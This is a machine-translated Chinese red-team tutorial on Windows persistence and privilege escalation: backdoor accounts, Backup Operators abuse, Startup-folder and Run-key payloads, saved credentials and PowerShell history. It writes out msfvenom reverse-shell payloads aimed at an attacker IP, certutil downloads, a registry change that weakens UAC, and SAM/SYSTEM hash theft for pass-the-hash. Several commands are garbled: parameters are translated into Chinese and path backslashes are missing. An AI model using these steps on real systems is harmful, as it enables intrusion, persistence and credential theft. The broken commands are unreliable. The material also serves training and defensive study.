介绍:
持久性是所有流行安全框架(例如 Cyber/Unified 杀伤链或 MITRE ATT&CK)中包含的一个阶段。此阶段在利用之后完成(通常),但它取决于参与角色 (ROE) 和您的方法框架流程。
什么是持久性和后门?
-
持久性是一种用于维持与目标系统连接的技术,即使机器重新启动、关闭或其他任何情况,我们仍然能够访问它。
-
后门攻击的定义是使用任何恶意软件/病毒/技术来获得对应用程序/系统/网络的未经授权的访问,同时绕过所有已实施的安全措施。
为什么它很重要?
以下是您希望尽快建立持久性的一些原因
• 重新利用并不总是可能的:一些不稳定的利用可能会在利用过程中杀死易受攻击的进程,从而使您能够一次性攻击其中的一些进程。
• 获得立足点很难重现:例如,如果您使用网络钓鱼活动来获得首次访问权限,那么重复此操作以重新获得对主机的访问权限则工作量太大。您的第二次营销活动也可能不会那么有效,导致您无法访问网络。
• 蓝队跟踪您:如果您的操作被检测到,用于获得您首次访问权限的任何漏洞都可能会被修补。您正在与时间赛跑!
1. 持久化:创建账户
理论
帐户是指在操作系统上创建的用户帐户,允许个人与计算机交互和访问计算机。每个使用 Windows 计算机的人通常都有一个用户帐户,该帐户提供个性化的环境、安全性、隐私性和用户特定的应用程序设置。
用户帐户可以有多种类型:
-
域管理员:这通常是您在域环境中找到的最高帐户级别。具有此权限级别的帐户可以管理组织的所有帐户、其访问级别以及几乎任何您能想到的内容。
-
服务:软件用来执行任务的帐户。某些服务是本地系统帐户、网络服务帐户、本地服务帐户和特定于服务的帐户(SQLServiceAccount、ExchangeServiceAccount、www-data 或 httpd)
-
域帐户:这些帐户仅在集中系统上维护、管理和有效,并且可以在域上使用
-
本地帐户:这些帐户仅在本地系统上维护、管理和有效,不能在域上使用。本地帐户有两种类型:本地管理员和普通用户。
创建帐户包括创建一个新帐户,使其成为高特权组的一部分,并使用该帐户通过远程协议或与该帐户链接的任何其他持久性技术远程登录目标。
前提条件:需要管理权限。
后置条件:我们可以随时访问目标系统。
创建帐户的方法很简单;
-
创建新帐户或用户并使该用户成为管理员的一部分或高权限成员
-
确保新用户属于远程桌面用户 (RDP P-3389 TCP) 或远程管理用户 (WinRM P-5985/5986 TCP)、SMB 等。
-
检查远程协议服务端口是否打开并允许通过防火墙。
-
使用该用户的密码通过远程协议登录该用户。
隐秘级别:这个后门根本不隐藏,网络中高权限组的帐户创建和用户部分受到蓝队的高度监控。
实用
目标位于“工作组”中,这意味着不属于任何域,因此我们首先在系统上创建一个本地用户。如果您在域环境中,则使用以下命令创建用户。
net user <用户> <密码> /add /domain
现在让我们检查该用户属于哪些组。
只是“用户”组,默认情况下所有非特权帐户都是系统的一部分。
让我们将这个新用户添加到高权限组中。
注意:如果您是某个组(例如管理员)的成员,那么您也立即获得该组的权限。
您还可以通过防火墙打开端口。(需要管理员权限)
New-NetFirewallRule -DisplayName “HTTP (TCP-In)” -方向入站 -协议 TCP -LocalPort <PORT> -操作允许
New-NetFirewallRule -DisplayName “HTTP (TCP-Out)” -方向出站 -协议 TCP -LocalPort <PORT > - 允许操作
检查用户的组。我们可以看到 2 个新组。
注意:当您成为管理员组的一部分时,“用户”组将被丧失。
现在,让我们检查一下使用我们的后门高权限帐户“hacker”通过 RDP 访问目标。Remmina(使用 RDP 从 Linux 计算机到 Windows) 使用我们的后门高隐私帐户进行远程访问
清理
网络用户 hacker /delete(从系统中删除用户)
2. 持久化:现有用户
原理
这个和之前的持久化技术“创建账户”是一样的。
现有用户包括使现有用户成为某些高权限组的一部分,并使用该用户通过远程协议或与此帐户链接的任何其他持久性技术远程登录目标。
前提条件:需要管理权限并且必须知道现有用户的密码或哈希值
后置条件:我们可以随时访问目标系统。
现有用户方法很简单;
-
列出目标系统上存在的所有权限较低的用户并使该用户成为高权限组的一部分。
-
确保新用户属于远程桌面用户 (RDP P-3389 TCP) 或远程管理用户 (WinRM P-5985/5986 TCP)、SMB 等。
-
检查远程协议服务端口是否打开并允许通过防火墙。
-
使用用户的密码通过远程协议登录该用户(通过凭据转储技术访问该用户的密码,或者如果您是管理员,则只需更改该用户的密码)。
隐秘级别:与前一种技术相比,此技术也更加隐秘,因为我们不在这里创建新帐户,并且在这里而不是管理员组,我们将使用户成为“备份操作员”组的一部分,而该组不是蓝队严密监视。
实用
检查系统上所有现有用户。让我们选择权限较低的用户“thmuser1”并使其成为管理员组和某些远程协议组的一部分或成员。这里我们将用户添加到“Backup Operators”组。
注意:此“备份操作员”组中的用户不具有管理权限,但将被允许读/写系统上的任何文件或注册表项,忽略任何配置的 DACL。
对于远程登录,我们将用户添加到“远程管理用户”或 WinRM。
WinRM 充当运行 PowerShell 的客户端与远程 Windows 系统之间的通信机制。它允许在远程计算机上执行 PowerShell 命令和脚本。
默认情况下,防火墙允许 Windows 服务器上的 WinRM 端口,因此让我们尝试通过Evil-WinRM使用thmuser1 和 Password321来远程访问目标。
现在,如果您远程登录 Target,您会发现,即使您的用户属于“Backup Operator”组,您也可能无法使用其权限,因为 UAC 实现的功能之一LocalAccountTokenFilterPolicy会剥夺任何本地帐户的权限远程登录时的管理权限。
所以让我们在目标机器上禁用它。
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
再次登录,现在我们可以使用“备份操作员”组权限。
因此,攻击者可以做的是读取或写入系统上的任何文件或注册表。让我们复制 SAM 和 SYSTEM 文件。
将其传输到攻击者计算机,然后我们可以使用“SecretDump”转储系统上存在的所有用户的哈希值。
攻击者现在可以使用“传递哈希”攻击来访问任何这些帐户,即使任何用户的密码发生更改,攻击者也可以登录到他的后门“thmuser1”帐户并再次复制哈希值并提取来自 SAM 和 SYSTEM 文件的新哈希值。
清理
net localgroup “Backup Operators” thmuser1 /delete (从 Backup Operators 组中删除用户)
net localgroup “Remote Management Users” thmuser1 /delete (从 WinRM 组中删除用户)
3. 持久化:Startup App
理论
启动应用程序可以定义为配置为在计算机启动时自动启动的程序或应用程序。这些应用程序设计为在您登录用户帐户时在后台运行。常见启动应用程序的一些示例包括防病毒软件、即时消息客户端、云存储服务、Windows 更新和系统实用程序。
该技术包括将后门或持久性脚本留在启动应用程序的位置,这样每当目标用户或任何用户登录其帐户时,我们的有效负载就会被执行,并且我们将立即获得访问权限。
-
前提条件:管理权限要求:视情况而定(如果我们将有效负载放入当前用户的文件夹中,则不需要高权限,但如果将有效负载放入系统范围的启动文件夹中,则需要提升的权限。
-
后置条件:我们无法访问仅当在系统上执行用户登录 Activity 时,任何时候才会访问目标系统。
Startup App 的方法很简单;
-
每个用户在“C:Users<用户名>AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup” 下都有自己的启动应用程序文件夹 。注意:每个用户将仅运行其文件夹中可用的任何内容。“C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp”(系统范围的启动应用程序文件夹)与前一个相同,但它适用于所有用户,因此每当任何用户登录时都会触发
-
创建有效负载并将其放入目标的启动应用程序文件夹中
-
等待用户登录活动触发您的有效负载。
隐秘级别:这个后门根本不隐藏,蓝队人员很容易发现,因为这些启动应用程序受到严格监控。
实用
这里我们可以访问本地管理员用户。(您也可以对任何用户执行此操作,无论他的权限是什么)
创建有效负载。我们使用 msfvenom 生成无阶段有效负载。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER's IP> LPORT=<ATTACKER's PORT> -f exe -o rev.exe
现在让我们使用 Python 创建一个基本的 HTTP 服务器来托管我们的负载。
从目标方面来看,我们使用了“certutil”这一陆地技术,它允许我们从互联网下载文件。certutil -urlcache -f <URL>
将此负载设置为管理员用户启动应用程序的文件夹 “C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup”
一切都完成了,现在只需等待管理员的用户在他的帐户上执行登录/登录活动,它将触发我们的有效负载在后台静默运行。为了加快模拟速度,我们将自己执行此登录/登录活动。从锁定屏幕登录/再次登录管理员帐户。
在攻击者一侧启动监听器。您可以使用任何您想要捕获反向 shell 连接的侦听器。
正如您所看到的,当我们再次登录/登录时,系统将运行启动应用程序文件夹中设置的所有程序,5-15 秒后,我们将获得与管理员权限的连接,因为我们的负载已放置在管理启动应用程序中文件夹位置。
清理
del "C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartuprev.exe"
(从启动应用程序的位置删除持久性有效负载)
4.持久化:Run/RunOnce
理论
在 Windows 操作系统中,当用户登录计算机或系统启动/重新启动时,“Run”和“RunOnce”注册表项会自动运行程序。
运行:“运行”键包含每次用户登录其 Windows 帐户时自动执行的程序或命令列表。“运行”键中的条目通常用于启动需要在启动时运行的基本程序,例如防病毒软件、系统实用程序或用户特定的应用程序。
HKCUSoftwareMicrosoftWindowsCurrentVersionRun
HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnce
RunOnce:“RunOnce”键与“Run”键类似,但有一个关键区别。“RunOnce”键中列出的程序或命令仅执行一次,通常在添加后的下一次系统启动期间执行。程序或命令执行后,“RunOnce”项中的条目通常会从注册表中删除,以防止其再次运行。所以使用它们来持久化并不常见。
HKLMSoftwareMicrosoftWindowsCurrentVersionRun
HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce
该技术包括在运行时留下后门或持久性脚本,这样每当目标用户或任何用户登录到他的帐户时,我们的有效负载就会被执行,并且我们将立即获得访问权限。
前提条件:管理权限要求:视情况而定(如果我们在仅适用于当前用户的 HKCU 配置单元中删除有效负载,则没有高权限,但如果在适用于系统上所有用户的 HKLM 配置单元中删除负载,则将获得提升的权限后置
条件:只有在系统上执行用户登录Activity时,我们才能随时访问目标系统。
Run/RunOnce方法很简单;
创建有效负载并将其放入目标系统中
创建一个新的值/变量,其类型和数据集作为注册表中的有效负载。
等待用户登录活动或重新启动/重新引导系统以触发您的有效负载。
隐秘级别:与启动应用程序相比,该后门处于中级隐藏状态,并且蓝队人员可以或不能轻易发现,因为注册表监控是一项繁琐的任务。
实用
这里我们可以访问本地管理员用户。(您也可以对任何用户执行此操作,无论他的权限是什么)
创建有效负载。我们使用 msfvenom 生成无阶段有效负载。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER's IP> LPORT=<ATTACKER's PORT> -f exe -o rev.exe
现在让我们使用 Python 创建一个基本的 HTTP 服务器来托管我们的负载。
从目标方面来看,我们使用了“certutil”这一陆地技术,它允许我们从互联网下载文件。certutil -urlcache -f <URL>
由于我们拥有管理员权限,因此让我们在 HKLM Hive 中创建一个适用于整个系统的新变量,这意味着每当系统上的任何用户在其帐户中执行登录/登录活动时,我们都可以访问系统。
reg add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v <name of Variable or value> /t <variable type> /d "<program or script want to execute>
我们刚刚在 HKLM Run 中创建了一个新变量。让我们确认一下。
好的,就在那里。现在只需使用系统上的任何用户执行登录/登录活动即可获得目标的反向 shell 连接。
在 Windows 中注销是指结束用户会话并返回到 Windows 登录屏幕的过程。当您注销时,所有打开的文件、程序和进程都将关闭,系统返回到登录屏幕,其他用户可以在其中登录,或者当前用户可以重新登录。
清理注册表
reg delete HKLMSoftwareMicrosoftWindowsCurrentVersionRunbackdoor (Delete the persistence payload from Run registry Location)
6. 权限提升:保存的信用
理论
当您登录资源并选择保存凭据时,Windows 将它们安全地存储在凭据管理器中。这是 Windows 操作系统的一个组件,用于管理凭据并允许用户查看、编辑和删除已保存的凭据。
保存的凭据是一项功能,允许用户安全地存储各种资源(例如网站、网络共享或远程服务器)的登录信息,这样他们就不必在每次访问这些资源时输入用户名和密码。
Saved Credits方法很简单;
前提条件:必须保存高权限账户的凭证。
-
在目标系统中运行“cmdkey /list”命令,列出从凭据管理器或GUI 中保存的所有凭据 WIN+R -> 控制 keymgr.dll
-
如果找到任何更高权限的帐户,那么我们可以使用这些凭据执行具有该权限的命令。
实用
首先,让我们将所有凭据保存在凭据管理器中,我已经通过命令完成了它,我们也可以从 GUI 执行相同的过程。
好的,我们找到了 2 个信用点。让我们解释一下这些信用条目的格式。
注意:第一个信用条目默认存在于 Windows 操作系统中,因此我不打算定义其格式。
第二个信用条目的格式
-
目标:此条目与 Windows 域环境中的目标关联。目标是“Domain:interactive”,似乎链接到“WIN-QBA94KB3IOF”域,用户帐户“admin”在交互式会话的上下文中使用。
-
类型:凭据类型为“域密码”,表明这些凭据特定于在 Windows 域环境中使用域控制器进行身份验证。
-
用户:此凭据条目的关联用户名是“WIN-QBA94KB3IOFadmin”,表示它是具有管理权限的域用户帐户。
我们得到的帐户不仅是基本帐户,而且是具有“域管理员权限”的帐户。它为对手提供了很多可能性。假设我们可以使用它们在目标的域网络中执行任何操作,但这里只是为了 PoC,让我们运行反向 shell 代码来获取具有“域管理员”权限的目标 shell。
目标系统。
runas:用于以不同用户的权限运行命令。
在攻击者一方
7. 权限提升:启动应用程序
理论
启动应用程序可以定义为配置为在计算机启动时自动启动的程序或应用程序。这些应用程序设计为在您登录用户帐户时在后台运行。常见启动应用程序的一些示例包括防病毒软件、即时消息客户端、云存储服务、Windows 更新和系统实用程序。
Startup App 的方法很简单;
前提条件:启动应用程序目录的权限必须被破坏,或者启动应用程序中的程序二进制文件的权限被破坏。
1.枚举所有启动应用程序。我们有两种类型的启动应用程序目录。
用户启动应用程序目录
“C:Users<用户名>AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup”
注意:每个用户都有自己的启动应用程序目录,该目录以其权限运行并且每个用户只能运行任何内容可在其启动应用程序目录中找到。
系统启动应用程序目录
“C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp”
注意:系统范围的启动应用程序目录。它的工作原理与前一个相同,但它适用于所有用户,因此每当任何用户登录时它都会触发。另外,因为它应用于整个系统,所以它以“SYSTEM”权限运行,因此这里的每个二进制文件都以“SYSTEM”权限运行
2.检查您是否具有覆盖某些启动应用程序的二进制文件的写入权限,或者检查存储启动应用程序的目录中是否启用了“FILE_ALL_ACCESS”权限。
3.修改原始程序的二进制文件(有效负载.exe名称必须与原始.exe相同)&或在启动应用程序目录中创建有效负载
4.等待用户登录活动触发您的有效负载以获得该特定用户的权限(用于用户启动应用程序)或获得 SYSTEM Priv(用于系统启动应用程序目录)
实用
检查整个系统中的所有启动应用程序目录。
autorunsc.exe -m -nobanner -a * -ct /accepteula(Sysinternals 工具,用于枚举启动和自动运行应用程序所在的所有路径)
我们发现“系统启动应用程序目录”的权限设置已损坏。
A/C 权限所有内置/用户组成员在此目录上都具有“FULL_ACCESS”。
BUILTINUsers(Windows 中的默认组,向本地用户授予基本访问权限(允许基本任务和访问公共资源),同时确保他们没有系统的完全管理权限。在系统上创建的任何本地用户帐户都会自动该组的成员。
因此,让我们通过 msfvenom 创建一个反向 shell 有效负载并将其放入系统范围的启动应用程序目录中。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER IP> LPORT=<ATTACKER PORT> -f exe -o rev-shell.exe
让我们通过 Python HTTP 服务器托管它
python3 -m http.server <ATTACKER PORT> -b <ATTACKER IP> -d ~/Downloads
在目标处,一方使用 certutil 工具下载此有效负载并将其放入“C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp”目录中。
现在您可以执行以下操作来触发有效负载。
-
等待系统重新启动或重新启动(通常,我们在真实渗透测试/红队模拟中执行此操作,但这需要时间)
-
等待用户的登录活动登录(从会话中注销用户并等待他的登录活动。不会花费时间,但有时可能会很可疑)。
-
自己动手(如果知道任何用户或特定用户的密码,则自行执行注销和登录技术)。
这里我们执行第三种方法只是为了加快过程和学习模拟。
从锁定屏幕再次登录任何帐户。
“在 Windows 中注销是指结束用户会话并返回到 Windows 登录屏幕的过程。当您注销时,所有打开的文件、程序和进程都将关闭,系统返回到登录屏幕,其他用户可以在其中登录,或者当前用户可以重新登录。”
正如您所看到的,当我们再次登录时,系统将运行启动应用程序文件夹中设置的所有程序,5-15 秒后,我们将获得以“SYSTEM”权限作为有效负载的连接。
8. 权限提升:Powershell 的历史
理论
在 PowerShell 中,多个实用程序监视或记录运行的所有 PS 命令。他们之中有一些是:
-
命令历史记录:PowerShell 维护命令历史记录,它是您在当前会话期间执行过的命令的列表。此历史记录允许您查看和访问以前执行的命令,而无需重新输入它们。
-
转录日志:允许您将 PowerShell 会话的所有输入和输出记录到文件中。转录日志不仅捕获您执行的命令,还捕获这些命令的结果以及会话期间生成的任何输出或错误。
-
PSReadLine 负责提供增强的命令行编辑和历史记录功能,包括语法突出显示、多行编辑和改进的命令历史记录导航等功能。ConsoleHost_history.txt:管理的简单文本文件,存储当前用户的 PowerShell 会话的命令历史记录。
Powershell历史记录方法很简单;
1.检查所有 PS 历史文件以查找有用信息,例如凭据和其他配置信息
Get-history:仅显示当前 PS 会话中运行的所有命令,并且它是非持久性的(这意味着仅在 PS 会话期间保持持久性)
dir /s“PowerShell_transcript_logs”:列出在任何会话 PS 中运行的所有 PS 命令(它保存所有过去的 PS 会话数据)。
dir /s “ConsoleHost_history.txt”:显示在任何会话中运行的所有命令(从 C: 运行),但它将所有 PS 会话中的所有命令保存在一个文件中并且仅保存命令。好处是它仍然存在
实用检查所有 PS 历史日志文件。当前没有 PS 会话在目标系统中运行,因此“get-history”在这里毫无用处,转录日志服务也没有运行,所以让我们看看是否有任何“ConsoleHost_history.txt”。
实用
检查所有 PS 历史日志文件。当前没有 PS 会话在目标系统中运行,因此“get-history”在这里毫无用处,转录日志服务也没有运行,所以让我们看看是否有任何“ConsoleHost_history.txt”。
我们确实找到了,所以让我们检查一下,看看我们是否可以获得任何有用的信息。
伟大的。看起来用户使用了“cmdkey”命令并在其中传递了他的密码。
我们可以在“runas”中使用这些凭据来生成进程或启动具有这些用户权限的程序。
参考:
-
适用于 Windows 的权限升级技术(从基础到高级)-(第 4 部分)
https://hacklido.com/blog/568-privileges-escalation-techniques-basic-to-advanced-for-windows-part-4
-
适用于Windows 的权限升级技术(基础到高级)-(第 3 部分)
https://hacklido.com/blog/542-privileges-escalation-techniques-basic-to-advanced-for-windows-part-3
-
Windows 持久化技术(初级到高级)-(第 2 部分)
https://hacklido.com/blog/518-persistence-techniques-beginner-to-advanced-for-windows-part-2
-
适用于Windows 的持久性技术(初级到高级)-(第 1 部分)
https://hacklido.com/blog/497-persistence-techniques-beginner-to-advanced-for-windows-part-1
-
Red Team: Persistence
https://www.raingray.com/archives/3890.html
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):适用于 Windows 的持久性技术(初级到高级)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论